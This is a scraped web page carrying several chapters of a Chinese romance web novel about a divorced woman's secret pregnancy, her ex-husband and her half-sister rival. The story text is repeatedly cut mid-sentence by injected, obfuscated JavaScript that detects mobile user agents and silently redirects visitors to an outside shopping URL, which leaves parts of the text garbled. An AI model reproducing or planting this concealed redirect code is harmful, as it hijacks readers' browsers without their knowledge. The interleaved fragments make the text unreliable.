l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617970|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然离婚了,就该有点距离,那些检查我会让女医生为她做。等结果出来后,我会亲自看报告,告诉你们结果的。” 听到这,傅京礼停下了脚步。 江惊蛰一路带许愿到私密检查室,这边是江惊蛰为亲人朋友私自留下的检查室,其内并没有多余的人。 江惊蛰摘掉脸上的金丝边眼镜,那双本来被掩盖锋芒的温润眼眸,此刻变得严肃锐利。 “许小姐,你怀孕了,对吗?” 只一句话,许愿整个人僵在原地。 她有些无措,所有的伪装好像都在此刻被击溃。 “所以,果然怀孕了?” 见她久久未言语,江惊蛰终于肯定她的身体状况。 “你诈我。” 许愿声音回复平淡,但情绪却并不稳定。 “很好猜不是吗?” 江惊蛰笑笑:“你和阿礼之间的事我多 少也知道些,阿礼是不会允许你生下他的孩子的,不然你早就怀上了。” “从你进到我办公室看到我时,你就很紧张,只不过你演技很好,控制住了自己的情绪。但不巧,我修过心理学,你只不过是暴露了一点,就被我发现了。” “当然,不排除许小姐是因为见到我太过紧张才会失误。” 许愿紧张追问:“你要告诉他吗?” “我为什么要告诉他。”江惊蛰反问。 “我说了,你们之间的事我是清楚的。” “当初,是阿礼自己愿意负责和你结婚缔结婚姻关系。明明是你的丈夫,却又心里藏着旁人,心里有人却还要跟你行使夫妻权利,做了所有夫妻该做的事,却不准你怀孕。” “他为什么不许你怀孕呢?因为他早为自己想好后路,很清楚自己未来会跟你离婚,不能让你的孩子占据嫡子的身份,继承傅家产业。” “结婚这三年,你不曾做错什么。” 江惊蛰笑意温柔:“我虽然是阿礼的好友,但不代表我作为一个接受过高等教育的男性,就能认可他做下的所有事。” “我只是他的朋友,并非全部三观契合且同流合污的对象。” 第17章 留与不留 许愿垂眸,声音很轻。 “其实,傅京礼也很无辜。” “那晚的事,真的只是意外。他跟我结婚已经帮了我很多,婚后第一天就告诉过我他心里有喜欢的人,我们以后会离婚。” 江惊蛰深深看了她一眼。 “我知道阿礼无辜,但如果只是从你们婚姻角度出发,作为丈夫,他所做的一切就是错的。” “你现在已经怀了他的孩子。” “许小姐,生与不生,留与不留,都是你的自由。” “你是女性,是孕育他生命的人,我只需要你先想清楚,做出不要让自己后悔的决定。” 江惊蛰此人,说得上是嫉恶如仇的性子。 早年也曾因为冲动招惹过不少人,为此特地修了心理学,让自己冷静下来。 说是江家继承人,但作为天才医师,他几乎是各个科室的手术都能做,甚至在国外参与救援活动时,为许多女性同胞接生过。 他见过那些受伤的女性同胞在生产时的痛苦模样。 他亲眼看到有些女性拼尽气力生产最后耗尽生命,将生的希望留给新诞生的子女。 他也曾看到那些竭力生产后的女性,看到子女时满足的神情。 他是男性,但不代表他不能共情。 许是见过太多这样的女性,所以江惊蛰久而久之会站在女性角度看问题。 就如现在,许愿怀了孩子,他首先做的是聆听许愿的想法,而非首要在意傅京礼的想法。 她是女性,她才是孕育生命的人。 这是她的身体,要留要去,也该由她自己想清楚做下决定。 “我终于明白为什么那些人见到江医生,都会称呼一句江老师了。” 许愿悬着的心,终于落下了。 “谢谢你的赞美。” 江惊蛰只是笑了笑,重新戴上眼镜,偏头看向许愿:“来吧,先做检查,等检查结果出来的时间,应该足够你想清楚一切了。” “好。” 检查结果很快加急出来了。 看到检查报告,江惊蛰脸色都微微发沉。 许愿这三年为了让傅京礼看到她的价值,在傅氏为了做出成绩,几乎是透支自己的身体,现在不仅体虚有胃病,甚至…… 这次她根本没有选择的余地。 因为打掉这个孩子,很大概率终生不孕。 “我给你开了七天分量的中药,七天之后再来这里复查,我会亲自检查。” 江惊蛰特调了中药让人熬制,安排下去后方才告诉许愿:“中药备好后,我会让人送到你那里。” 虽然江惊蛰没说什么。 但她就是清楚江惊蛰知道她的身体状况,他不说只是不想给她带来困扰焦虑罢了。 许愿扯了扯唇点头:“好。” 傅京礼早就离开了,在她跟随江惊蛰检查的时候,就因为公事提前离开。 对此,许愿毫不意外。 许愿从医院离开,江惊蛰将检查报告发了一份给傅京礼,也好让他清楚,他的前妻在这三年几乎要将自己熬干了。 收到报告后,傅京礼眸色愈发深沉。 办公室内的灯光照射在他身上,仿佛镀上层明显的冷芒。 许宁推开办公室的门进来,男人顿了下,只眉头轻皱,并未说什么。 “阿礼,刚才我父亲问姐姐是不是跟盛景炎关系很好,他有个合作想跟盛景炎谈呢。” 盛景炎。 这个名字此刻在他心口,就像是竖着的一根尖刺。 “什么合作我们傅氏比不过盛氏,需要你父亲去找盛景炎?”他声音冰冷。 “也不是……就是我父亲不想麻烦阿礼你。”许宁轻轻叹了口气。 “其实,姐姐她应该跟盛景炎关系很好吧?” “如果盛景炎跟姐姐关系不好,他也不会特地去带姐姐看烟花看日出,并且为了姐姐针对阿礼你了。” “我还挺生气呢,姐姐这样算不算是背叛阿礼你啊?我都担心他们是不是在离婚前就在一起了,阿礼,你这样不就是遭到背叛了吗?” 她脸颊嘟起,像是在为傅京礼愤愤不平。 “你在为我生气吗。” 傅京礼淡淡的却带着几分深意的目光落在她脸上。 许宁立刻愤愤的点头,仿佛真的很生气。 他目光扫过电脑屏幕上那份有关许愿的检查报告,声音平淡毫无波澜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617971|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那你为什么还要跟在我身边。”他开口。 这次轮到许宁震惊了。 “什么……阿礼你是什么意思?” 傅京礼看向她:“你口口声声亲密的喊她姐姐,又为什么要背着你的姐姐,和你的姐夫在一起?” “如果许愿在离婚前跟盛景炎在一起,那你又何尝不是在我离婚前跟我一起?你我之间,跟许愿盛景炎又有什么不同。” “为什么你能因为盛景炎将怒意转到许愿身上,也只针对她。” 男人此前温和的目光都变得冰冷。 “这样的你,真的把她当姐姐吗?” 许宁哑口无言。 许久后才支支吾吾:“我……我只是觉得许愿她能 为了盛景炎扳倒盛二少,所以两人之间有些太暧昧了。” 听到这里,傅京礼觉得挺有意思的。 他面前的女人,真的是单蠢得过头。 许愿为什么会帮盛景炎扳倒盛三? 因为那份合作被许宁搞砸了,盛二给傅氏的货物都是过期损坏的。 没有了这批货物,傅氏接下来的科研也好,生产也好,都要停滞。 因为签了合同,只能吃下这个闷亏重新购买。 许愿是为了傅氏以后跟盛氏的合作,才帮扶盛二上位的。 可到许宁眼里,却成了许愿和盛二狼狈为奸。 这三年,她有这个时间吗? 她连休息的时间几乎都没有,平日不是学习出差谈合作就是被他使用发泄…… 她的身体都已经虚弱成这样,哪里还有精力去找盛景炎? “以后,不要总提许愿和盛景炎。” 傅京礼看着她,几乎是在明示。 “我们已经离婚了,她跟谁一起都是她的自由。” 许宁还在愣怔,不懂傅京礼的情绪为何如此多变。 明明不久前还在因为许愿盛景炎的事而生气。 但他都这样说了,她也只能将内心更多想法压下去。 许宁离开后,傅京礼点开一场拍卖会放出的珠宝图,里面有一副红钻耳环。 他想,许愿或许会喜欢。 拍下这副耳环,算作是补偿。 第18章 哥,你有病? “许经理,你昨天没来不知道,那位新来的许宁秘书又做错事了,这次金额报表的小数点都填错了,还好这次我们审核的时候够细心,没用这份合同去签约,不然那傅氏损失的可是一大笔钱。” 以往跟许愿共事过的秘书看到许愿来到总裁办,立刻迎过去,忍不住的提到许宁。 这次她可不像上次那样喊许宁“许秘书”了,毕竟许愿也姓许,那样叫就像是吐槽许愿似的。 “就是,她真当所有人都要帮着她给她擦屁股呢。” “之前那次是有许经理你帮她兜底,可你也不能次次都帮她兜底吧。” 一名戴着眼镜的女秘书眉宇间掠过一抹不耐。 “没有那个能力就别坐在那位置,竟然还妄想与许经理你齐名,也配。”她嘲讽,“我看啊,她就适合坐在办公室,拿着印章随便在白纸上盖戳。” 秘书科的秘书人不由噗哧的笑出声,明显对许宁都是嘲讽。 许愿听得直皱眉。 “是哪份合同。” 如果是最近的合同,难保不是她被调职前谈下来的。 秘书科立刻有人把许宁出错的那份合同,递交到了许愿的面前。 许愿面上没有多余的表情翻看文件。 这是她在被调职前一周跟国外的合作商谈下的合同。 与盛家那次合作一样,交易的数额庞大,若是这么粗心大意的填错小数点,那傅氏会为此赔偿近十亿。 这么大的事,怎么能如此粗心马虎! 许愿带着合同进了总裁办。 办公室内头顶的灯光打在男人身上,带着层朦胧的疏离感和冷漠感。 听到开门声,男人眉头轻皱朝她看去。 看清来人,他的面色稍稍和缓。 “有事?” 许愿将合同放到他桌上推至男人面前,男人只扫了眼合约的开头,就知道这是哪份合约。 “许宁失误出错这件事,傅总知道吗。” “她填错小数点,险些导致傅氏损失数十亿。” 傅京礼看着她,她今天换了件月白色的长裙,脖颈上戴着的是盛景炎送的那条红色项链,脖颈上似是用粉底液,遮住了那些他留下的痕迹。 他眸光微暗,淡淡的扫了合约一眼:“你也说了,只险些,并未真正导致傅氏有损失。” “太可笑了。” 许愿只觉那嘲讽之意都要涌到胸腔了。 “傅京礼,我知道许宁是你放在心尖的女人,但你不能太溺爱。” “这份合同是我三个月前花费了很多时间调查修改的合同,是我好不容易飞往国外谈下的合作商。我努力那么久的成果,险些被许宁的失误导致合约失败,你现在告诉我你要维护她?” “我看得出来你想捧她,希望她快些接手你身边的事,但你要看清你身边的人是不是真的靠得住。” “你想捧她,想让她练手可以,但请别拿我谈下的合作,让她随意侮辱。” 每每遇到这种事,她满脑子都只觉得傅京礼对许宁太过偏爱。 是的,就是偏爱。 若是换作旁的人出现这种失误,早已被赶出傅氏,可许宁不仅什么事都没有,还能被傅京礼维护。 何其可笑。 她在傅京礼面前从来都是温润有礼的,此刻却如此鲜活明艳。 男人指尖摩挲着合约纸张开口:“我只想让许宁快点成长起来。经过盛景炎那件事后,她经手的合同我会让秘书科再审阅一次,没有问题才会继续使用这份合同,避免失误。” “傅总心里有数就好。” 许愿眼神微微闪烁。 正欲离开,听到男人轻缓的声音在脑后响起。 “我看了你的身体报告,好好休息。” 许愿没回头,只淡淡的点了下头,下一刻抬脚就走。 办公室的门突然“哒哒哒”的被快速有节奏的敲击了几下。 打开门,却见门外站着的身材婀娜的少女。 女人身材高挑,相貌精致动人,比起许愿的清冷中潜藏的明艳,这位则是带着点古典的温婉。 她看到许愿,面上顿时一喜。 “嫂子,你也在。” 一声嫂子,让傅京礼和许愿两人都愣了下。 来人是傅京礼大伯的女儿傅嘉誉,这个名字是傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617972|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京礼大伯在她出生之际特意为她取下的名字。 他只有傅嘉誉这么一个独女,所以一直对傅嘉誉寄予厚望,从她的名字就可以看出对方对她未来的期盼。 傅嘉誉上前一步,搂抱住许愿的手臂摇晃了下,明明长着一张鹅蛋脸,偏偏却生了个娇软的性子。 “嫂子,明天我们学校校庆表演,我会上台跳一支舞。现在还缺个给我弹钢琴伴奏的人呢,学院音乐系那群人都满约了,嫂子,我只有你了~” 说完,还特地用可怜巴巴的表情看着许愿,等着她同意。 许愿被她这模样逗笑了,伸出食指点了点她的额头。 “你都只有我了,我当然要帮你。” “谢谢嫂子!” 傅嘉誉眉眼弯弯的,这才终于将目光转到自己表哥身上,大大咧咧道:“哥,你 也要来。” 她这时候倒是想起傅京礼了。 男人淡淡的嗯了一声,也没有纠正傅嘉誉喊她嫂子。 傅嘉誉笑意甜甜的就要带着许愿往沙发上去,还笑眯眯的说自己有好多校园八卦要讲给她听。 她一直喊着嫂子,叫得许愿有些无奈。 正要纠正她,办公室的门就突然被推开了,傅嘉誉还当是傅京礼的另一位首席秘书沈略呢,就没放心上。 结果下一秒,就听到一道软软的女声喊她哥“阿礼。” 嗯? 她乱喊什么呢? 阿礼能是她喊的吗! 傅嘉誉“腾”地站起来,完全没了方才那和和气气的模样,眉宇之间都带着厉色。 不愧是兄妹,单只是皱起眉都给人极强的压迫感。 “你喊我哥什么?” 傅嘉誉踩着高跟鞋,风风火火的到许宁面前,上下打量她几眼,眼底藏着的都是不屑。 许宁被问得懵了下,不过马上反应过来面前的人是傅嘉誉,是傅京礼最疼爱的表妹。 许宁立刻甜甜地笑了起来。 “傅小姐你好,我是你哥哥的恋人。” 傅嘉誉吃惊得脸色都变了,她立刻扭头向傅京礼看去。 “哥,你有病?” 第19章 私生女 也只有傅嘉誉敢这么跟傅京礼说话,没大没小的在他雷区蹦跶。 “哥,你结婚了还出轨啊,你也染上圈内恶习了?” 傅嘉誉震惊到险些语无伦次:“哥,我们老傅家怎么能有你这么道德败坏的人!” 傅嘉誉也不给傅京礼回话的机会,自己张口讽了一长串,眼底都是惊愕。 “道德败坏”四个字,把傅京礼都气笑了。 男人压低声音:“傅嘉誉,你再胡说八道试试。” “我哪里胡说八道了!只许你做不许我说了!”傅嘉誉扭头握住许愿的手,“嫂子你放心,我这就回去告诉爷爷,让爷爷给你教训我哥这个渣男!” “嘉誉,我和你哥离婚了。” 许愿叫住此刻冲动上头的傅嘉誉,声音仍然沉稳平静,仿佛在说的是跟自己无关的事。 “别告诉爷爷这件事,爷爷年纪大了,受不了刺激的。” 傅嘉誉果然停下脚步,她转过身满脸震惊的看着许愿。 她跟许愿关系好,当然清楚许愿对傅京礼的感情。 许愿是绝不可能主动提出离婚的,那么提出离婚的就是她哥了? “为什么?” 傅嘉誉不明白。 他们之前不是好好的吗? 这句“为什么”,问的是傅京礼。 “我和许愿之间的事,你不必插进来。”傅京礼皱眉。 “我们的婚姻最初就是个错误,现在不过是修正了这个错误。” 男人轻描淡写的解释了句。 傅嘉誉此刻似乎有些站不稳。 她倏然目光落到一旁的许宁身上,目光难得带上些许厉色。 “她叫你阿礼,哥,你是为了这个女人才跟嫂子离婚的吗?” “你告诉我,她哪里比得上许愿?长相气质涵养学历?她有哪点比得过许愿,哥你说!” 这话出口,傅京礼沉默以对。 许宁是漂亮的,却比不上许愿。 她一直被养在别处,纵然自小也接受礼仪教导,却也与许愿相差很多。 至于学历? 许愿当初凭借一份与金融相关的研究论文,被国外许多知名院校录取却没去,留在了国内报考a大,至今还是a大的优秀毕业生,毕业时全a几近满分的学神级别人物。 其实许愿聪明归聪明,却也是费尽心思努力,读书时熬夜读书,跳级读书,进入傅氏后又埋头工作,一步一个脚印走得踏实。 那时傅氏秘书科的人都推崇她,只要是许愿接手的合作,就没有谈不下来的。 所以知晓这些的圈内人,都称许愿和沈略是傅京礼的左膀右臂,他身边绝不能离开的定海神针。 许宁有什么地方赢得过许愿吗? 没有的。 可傅京礼就是选了许宁,放弃了各方面都优于许宁的许愿。 许宁却仿佛受了屈辱一般,牙齿轻咬着下唇,眼眶里含泪,就这么泪眼盈盈的望着傅嘉誉。 “傅小姐,我知道我没有什么比得上姐姐的,可是……可是我和阿礼才是真爱,你不会懂我们初次见面时的那种怦然心动的。” 可这句话,却好像戳中了傅嘉誉的死穴。 她脸色更加难看。 “姐姐?你喊谁姐姐?你喊我嫂子姐姐……你……” 她无比震惊的转向许愿和傅京礼,此刻只想要个说法,想清楚知道面前的人是个什么身份。 许宁似乎很委屈:“傅小姐,许愿是我的姐姐。” 傅嘉誉整个人都震惊的,震惊到几乎有些站不稳。 “我知道,我这样的出身你们是看不上的,可我母亲当年只是犯了个小错,我出生的时候知道什么呢?我是无辜的,我也不知道我爱上的人是姐夫……” 许宁声音里带着哭腔。 这么短短一句话,涵盖的信息可太多了,几乎是轰炸般的冲进了傅嘉誉的脑内。 什么这样的出身,什么母亲犯了小错,什么她的出生是无辜的…… 这分明就是告诉她,她是个私生女! 还是个抢了自己姐姐丈夫的私生女! 她看着此刻面前的女人装柔弱卖惨的模样,内心就涌起一股呕意,此刻几乎忍不住一耳光狠狠甩到许宁脸上。 “啪!” 清脆的一巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617973|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌,就这么印到许宁的脸上。 许宁被打懵了。 傅京礼在这里,她竟然真的敢动手,这是许宁完全想不到的。 她眼睛更红了,此刻哭着被打得脸肿了起来,委屈得直掉眼泪。 “傅小姐,你为什么要这样对我,我做错了什么。” 傅嘉誉冷笑。 “你还敢在我面前茶言茶语装模作样,我看你是没有被打够?” 她居高临下的看着许宁,声音都透着明显的冷意。 “知道私生女是什么吗?私生女就该是活在阴沟里的臭虫,明知道自己的身份还不藏在角落里捂好自己的马家身份,偏要出现在我面前!” “怎么?用你私生女的身份抢你姐姐的丈夫,让你很得意吗?” “我最厌恶的就是你们这种毫无廉耻心的私生女私生子,我们这圈子被弄得 乌烟瘴气,全都是你们这些败类所赐。” 许宁哑口无言。 她不敢开口。 她能明显感受到傅嘉誉对她深深的厌恶之意,只能眼底沁满泪水的朝着傅京礼看去,期望男人能为她讨个说法。 男人只是淡淡的抬眸瞥了一眼:“嘉誉,你不要太过分。” 傅嘉誉冷笑,此刻也不给他面子了。 “究竟是我过分还是你过分?你找什么女人不好,找这么个身份卑劣的女人。母亲知三当三的,她能是什么好东西?” “哥,你可真厉害,我好好的嫂子你不护着守着宠着,偏要踢开她,自己去找个这样的野路子。” 傅嘉誉嘲道:“等着吧,等你们公开那一天,就是我们傅家沦为笑柄的一天!” 堂堂傅家继承人下一任妻子,是个小家族出身无品无貌的私生女,何其可笑。 傅嘉誉说完,气得看都懒得再看傅京礼一眼,转身走了。 许宁还在原地红着眼眶委屈。 许愿淡淡的扫她一眼,面上没有多余表情,抬脚离去。 即将关门时,她听到里面传出男人温柔的声音。 “不必在意,嘉誉只是为许愿抱不平。以后她习惯了你的存在,也会护着你。” 第20章 欺辱 “傅小姐真的会护着我吗?我以为她很讨厌我的。” 许宁声音怯怯的,听着像是带着泣音。 许愿没再听下去,沉默的关上办公室的门,不再关注两人。 办公室的门关上,许宁坐在男人办公椅的扶手上,手勾弄着男人的衣领,声音仍然怯怯的。 “阿礼,我可不可以也去参加傅小姐说的那场校庆表演。” “你知道的,我也是a大的学生,也很久没有回母校了。” 她贴近男人的脸颊,哼了一声:“而且,我也不想你和许愿单独去参加校庆,这样显得你跟许愿才是一对,我不舒服。” 她声音娇娇软软的,透着对男人完完全全的依赖。 男人伸出手揉了揉她柔软的长发。 “皇庭出了你最爱吃的点心,我带你去尝尝。”男人转移了话题。 许宁抱着男人手臂摇晃:“那阿礼要不要带我去a大校庆嘛。” 男人嗯了一声。 只是去a大校庆,应该没什么。 …… 皇庭果然推出了新口味的点心,还正是许宁爱吃的口味,傅京礼全都点了一份。 许宁心情终于好起来,心中都生出了柔软的感觉。 傅京礼也并未多说什么。 只是接了通电话,傅京礼的神色微微沉了下来。 “怎么了?”见他神色不对,许宁问道。 傅京礼淡淡道:“公司的电话,有事需要我处理。” 饭店里人声嘈杂,傅京礼便出去接电话。 他接电话的功夫,菜也陆陆续续的上了不少。 许宁等着,没有自己先吃,只是透过餐厅落地的玻璃窗,看着门外傅京礼打电话的背影。 不知道是不是察觉到了她的目光,傅京礼朝她这边看过来,正对上了她的目光。 傅京礼只轻点了下头,原本严肃的面庞瞬间柔和了下来。 他顿了顿,转过脸去,又严肃的说了些什么。 又过了十来分钟,傅京礼才回来。 他坐下淡淡道:“我先回公司,你有事联系我。” 许宁理解的笑了笑,伸出手想要握住男人的手。 男人却条件反射的收回手,没说其他的,转身离去。 与此同时,许愿也到了店里。 她听到皇庭有新点心,打算来这里转一圈。 没想到在这里碰到了许宁和傅京礼,只觉得自己运气实在不好。 正品着点心,远远的便看到傅嘉誉化着精致的浓妆踩着高跟鞋来到皇庭,一步步走到许宁面前。 而此时,许宁正一个人孤零零地吃着饭菜,心里感觉没什么滋味。 她此刻满脑子都是未来会嫁入傅家的事,早就忘记了在傅嘉誉面前受过的委屈。 傅嘉誉又不是傅京礼的亲妹妹,再说了,妹妹迟早要嫁出去的,她有什么怕的。 正想着,一道清冷高傲的女声在她的头顶响起。 “许宁,又见面了。” 许宁错愕的抬头,还未看清,对方已经在她对面坐了下来,冷眼扫了一下桌上的菜。 “是我。” 傅嘉誉冷睨着她,一副高高在上的态度。 许宁放下筷子,也坐直了些,脸上露出甜甜的笑意:“傅小姐,真巧。” “不巧。”傅嘉誉冷笑,“我是特意来找你的。” 许宁错愕,没有说话,想不明白傅嘉誉现在来找她做什么。 “我只是想来看看,是什么样的女人学了自己母亲的手段,走自己母亲的老路,知三当三,插足别人的感情婚姻。” 傅嘉誉冷冷的看着她,字字嘲讽,嘴角连冷笑都做不出来了。 许宁脸上还挂着甜甜的笑,却也不忘打量着傅嘉誉。 身为傅家的小姐,她打扮得比任何人都精致。 从里到外,从衣着到气质,都像是名媛教科书中的典范。 她还想说句什么,傅嘉誉却嘲道:“我是特地来找你的,近距离看你,你也不过如此,也不知我那瞎了眼的哥哥看上你什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617974|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒,不等她反应过来,傅嘉誉直接握紧水杯,泼了她一脸水。 她将水杯用力的放到桌上,好大的一声“砰”响,引来了周围人的注意。 “学人当小三,不要脸的东西!” 傅嘉誉突然高声骂了一句,抓着包一脸的鄙夷冷意。 这故意的一喊,把所有人的注意力都吸引在了许宁的身上。 许宁狼狈湿了一身,头发全都湿乎乎的贴在头皮和脸上。 很快,有不屑的声音响起:“原来是小三,真不要脸!” “看着挺清纯的,没想到竟然是个绿茶!” 许宁不敢抬头,脸上滴着水,却火辣辣的疼,眼睛也跟着疼得厉害,带着股暖意。 一股热流滑下,和冷水混在一起,也分不清楚是泪还是水。 傅嘉誉回到停在皇庭门口的车后座,对司机说了声“开车”,拿着手机,看着里面的一张张照片。 有傅京礼跟许宁回许宁家的,有傅京礼开车门让许宁上车的,有傅京礼站在路边揉许宁的发的。 傅嘉誉面无表情 的将这些照片都删掉。 想嫁进傅家,也要看自己配不配! 许宁慌乱的抓着包,狼狈的往返店外逃。 不知道是谁,突然伸出了一只脚,将她绊倒在地。 她今天还特意穿着高跟鞋和裙子,膝盖磕在饭店冰冷坚硬的大理石地面上,疼得她整个人都发抖。 因为她的跌倒,周围响起一串的嘲笑声。 还有人赞美伸脚的那人干得好。 许宁狼狈的从地上爬起来,好在没有人再伸脚绊她,她终于成功出了饭店门口。 许愿就这样远远的坐在位置上看着这一幕,面无表情却又觉得嘲讽异常。 许宁可怜吗? 是可怜的,但她可怜却绝不无辜。 许宁浑身颤抖的走出饭店,内心的恨意交织。 有对傅嘉誉的,有对许愿的,最终却因为傅嘉誉的身份,将浓烈的恨意全都加注到了许愿的身上。 第21章 调监控吧 许宁踉踉跄跄的离开了皇庭。 可是一出来,凉风就向她袭来。 她的头发全湿了,还有衣服胸前也被水泼湿了大片,浸湿的衣服紧紧地贴着她的肌肤,被风一吹,冷得她忍不住抖了下。 许宁匆匆的往路边走,想要打一辆车。 她低着头,根本不敢看人,却撞上了一堵结实的胸膛。 “许宁?” 听到声音,许宁抬头,见到的就是傅京礼皱眉的脸。 他的脸除了皱眉再也没有别的表情,颀长的身体在她的头顶罩下一层阴影,也替她挡住了寒风。 他就站在她面前,双手扶着她,牢靠的就如暴风骤雨的海上避风港。 他掌心的热意,似乎也在源源不断的透过胳膊传递到她身上。 见到傅京礼,许宁仰着头,眼泪突然流得更凶了。 她一句话都说不出来,就只是哭。 傅京礼沉默了片刻开口:“先上车。” 许宁被带上傅京礼的车,她敏锐的察觉到傅京礼真的换了辆车。 不再是许愿那辆。 她眼神不经意的闪了闪,接过男人递来的毛巾。 “先擦擦。” 许宁心不在焉的擦着头发,双手使不上什么力气,满脑子都是自己刚才在皇庭时如何被羞辱的。 “阿礼,皇庭那些人……他们会不会笑我。” 许宁眼泪不停地往外冒。 “你知道的,我才回a市不久,我本来……”她像是有些失意,“我本来就是那些人眼中的乡巴佬。” 她纵然满腹心机,可对于今天,她真的算是怀着期待的想跟傅京礼约会,却成了现在这样的满目疮痍。 头顶突然传来压力,许宁错愕的回神,感觉到一双大手正按着毛巾擦她的湿发。 许宁转头看去,傅京礼大抵是看出了她这么擦,再擦几个小时也擦不干头发,干脆亲自出手。 许宁无言的放下双手,低着头,任傅京礼给她擦着发。 倏地感觉今天受的委屈也算不得什么了,她已经得到了傅京礼的怜爱,这就是最大的收获。 她的眼神都带着几分暗沉,傅京礼并未看到。 “到底怎么回事?” 傅京礼提及今天的事,语气都透着明显的冷意。 许宁听他提起,眼睛顿时更红了。 “我也不知道,只是阿礼你离开后,傅小姐就来了。” 她唇瓣都像是在抖动一般,片刻后才委屈道:“傅小姐说我不知羞耻的当小三勾搭你,可是,我们明明是两情相悦的。” 她声音哽咽着。 此刻十分的柔软可怜,仿佛开在悬崖底的一朵无辜的小白花。 傅京礼听到是跟傅嘉誉有关,脸色有些难看。 “我先让沈略带你回去。” 傅京礼话落,便已然下车。 许宁就坐在车厢内,目光探向窗外看着他宽厚结实的背影。 她已经猜到傅京礼是去调监控了。 傅嘉誉,傅家千金又如何? 她的爱人可是傅京礼! 一直降低存在感的沈略对着许宁淡淡的点了下头,面上没有任何表情。 沈略,傅京礼的首席秘书,与许愿一起共事三年之久。 他是最清楚许愿和傅京礼之间身份的人,此刻目光落到许宁身上却什么都没说,淡淡道:“许宁小姐,要去什么地方。” 许宁扯了扯唇:“先送我回许家吧,我想我父亲了。” 沈略顿了下,掀眉深深的看了她一眼,这才开动车子。 “沈秘书,你跟我姐姐一起共事这么久,你了解我姐姐的性格吗。” 她声音里面都透着几分委屈之意:“姐姐她一直都是这样咄咄逼人的吗?” 她像是想让沈略心疼她一般。 声音娇娇软软的。 “别的我不清楚,不过有一件事,公司上下多多少少都是有印象的。” 许宁提起兴致望着他。 沈略转动方向盘,将车子停在路边,目光落在她激动等待答案的脸上缓缓开口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617975|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “许经理没有妹妹。”他像是声音带着笑意,“你这样在外大张旗鼓的喊许经理姐姐,是想让更多人知道你的身份吗?纵然是被人怀疑那种身份,怕是都没什么好名声才是。” 许宁脸色顿变。 她只想着恶心许愿,却没想到这一层。 她口口声声在外喊许愿姐姐,不是摆明了让那些人去查她的身份吗? 她母亲小三上位,她更只是个私生女,这身份根本拿不出手。 就算有人想不到这一层,想到她插足傅京礼和许愿的婚姻,才叫许愿姐姐……怕是对她也没什么好印象。 这一路上,许宁心都是沉下去的。 临到许家别墅门外都还在愣神,她的脸色都是白的。 远远看着许宁离开,沈略慢条斯理的取出一根香烟,一手夹着香烟,一丝烟雾正从他的唇间缓缓地吐出。 目光却仍然瞧着许宁踉跄且狼狈的身影。 就这心理素质抗压素质,还想进入傅氏跟在傅总身边? 倒是也不掂量掂量自己几斤几两。 沈略嗤了一声,丢掉烟蒂,驱车而去。 …… 傅京礼下车后,目光沉沉的抬眸看去,偏却对上那一双清冷到毫无波澜的一双眼睛。 是他曾经日夜相对的枕边人的眼睛。 许愿。 她坐在靠窗的软椅上,姿态悠然闲散。 即便没有靠近她,都能感受到她身上明显散发而来的气场。 或许是自小培养出的千金气质,也许是进入职场后再商场多次谈判练就了此刻的她。 她一直在这里? 傅京礼黑眸再度沉了几分。 